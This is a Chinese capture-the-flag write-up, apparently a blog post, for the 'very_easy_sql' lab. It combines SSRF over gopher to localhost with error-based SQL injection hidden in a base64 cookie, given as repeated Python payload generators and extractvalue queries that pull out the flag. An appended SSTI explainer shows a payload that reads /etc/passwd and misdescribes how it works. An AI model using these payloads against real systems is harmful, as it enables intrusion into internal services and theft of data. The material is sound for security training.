web:very_easy_sql(sql、ssrf、gopher协议sql注入)

题目

页面显示如下

显示不是内部用户,无法识别信息

查看源码,找到一个use.php

访问之后显示如下

随便输入了一个,发现url有参数显示

试一下靶机的网址,返回nonono

联系之前原始页面写的“不是内网用户,无法别识身份”

这里没有rce、越权、文件包含等。那么很有可能有ssrf。

这里要用到gopher协议与ssrf结合使用

内网访问,gopher的请求语句host要改成localhost:80或者127.0.0.1:80

构造poc

import urllib.parse //导入库 urllib.parse,用于url解析与转码

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)

tmp = urllib.parse.quote(test) //以内网地址,post方式访问flag.php网址
new = tmp.replace("%0A","%0D%0A") //crlf注入漏洞
result = urllib.parse.quote(new) //增加gopher://127.0.0.1:80/,编码
print("gopher://"+host+"/_"+result)

用bp抓包修改信息后,显示如下

把这个set-cookie解码出来为

解码结果为admin,cookie为注入点

解法一

测试为字符型还是整数型注入

构造poc为

import urllib.parse

host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

通过报错信息,可以找到闭合点,有报错信息,直接使用报错注入

构造payload,检查是否可以进行报错注入

admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #

改写成gopher的形式

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

数据库信息被回显出来了,报错信息可以使用,按正常的步骤走

查数据库

admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

数据库名为security

查表

构造payload为

admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

看到有个flag表

查列名

admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查到flag表里只有一个flag列

查内容

admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

查到flag,但是显示不全,需要用substr函数进行分割读取:

admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

回显另一半flag

参考文章链接

gopher协议的利用 - FreeBuf网络安全行业门户

Gopher协议-CSDN博客

解法一:攻防世界web新手 - very_easy_sql(非常详细的wp)_sean7777777的博客-CSDN博客

解法二:攻防世界 -- very_easy_sql-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web Python Template Injection 是一种常见的 Web 漏洞类型,通常缩写为 SSTI(Server Side Template Injection)。该漏洞是由于 Web 应用程序未正确处理用户输入导致的,攻击者可以通过构造恶意输入来执行任意代码或获取敏感信息。 Python 作为一种流行的 Web 开发语言,广泛应用于 Web 应用程序中。Python Web 框架(如 Flask、Django 等)通常使用模板引擎来生成动态内容。在模板引擎中,可以使用变量、表达式、条件语句、循环语句等功能来生成动态内容。然而,如果在模板引擎中直接使用用户输入作为变量或表达式的一部分,而没有对用户输入进行适当的验证和过滤,就可能导致模板注入漏洞。 例如,在 Flask 应用程序中,可以使用 Jinja2 模板引擎来生成动态内容。如果在模板中使用了用户输入的变量,攻击者可以构造恶意输入来执行任意代码。例如,以下代码中的 name 变量可能是用户输入的: ```python from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template('index.html', name=name) if __name__ == '__main__': app.run(debug=True) ``` 在 index.html 中,可以使用 {{ name }} 来显示用户输入的 name 变量。如果攻击者在 name 中注入了模板代码,就可能导致模板注入漏洞。例如,攻击者可以构造如下的输入: ``` {{ ''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read() }} ``` 这段代码在模板引擎中会被解释为调用 Python 的 subprocess.Popen 函数执行命令 /etc/passwd,并读取其输出。攻击者可以通过这种方式执行任意代码,获取敏感信息或者直接控制服务器。 为了防止 SSTI 漏洞,开发人员应该对用户输入进行严格的验证和过滤,避免在模板引擎中直接使用用户输入作为变量或表达式的一部分。可以使用 Python 的安全模板引擎(如 jinja2-sandbox、jinja2-timeout 等)来限制模板执行的权限,或者使用模板引擎提供的安全过滤器(如 escape、safe 等)来过滤用户输入。此外,还应该及时更新 Web 应用程序和相关组件,以避免已知的漏洞攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值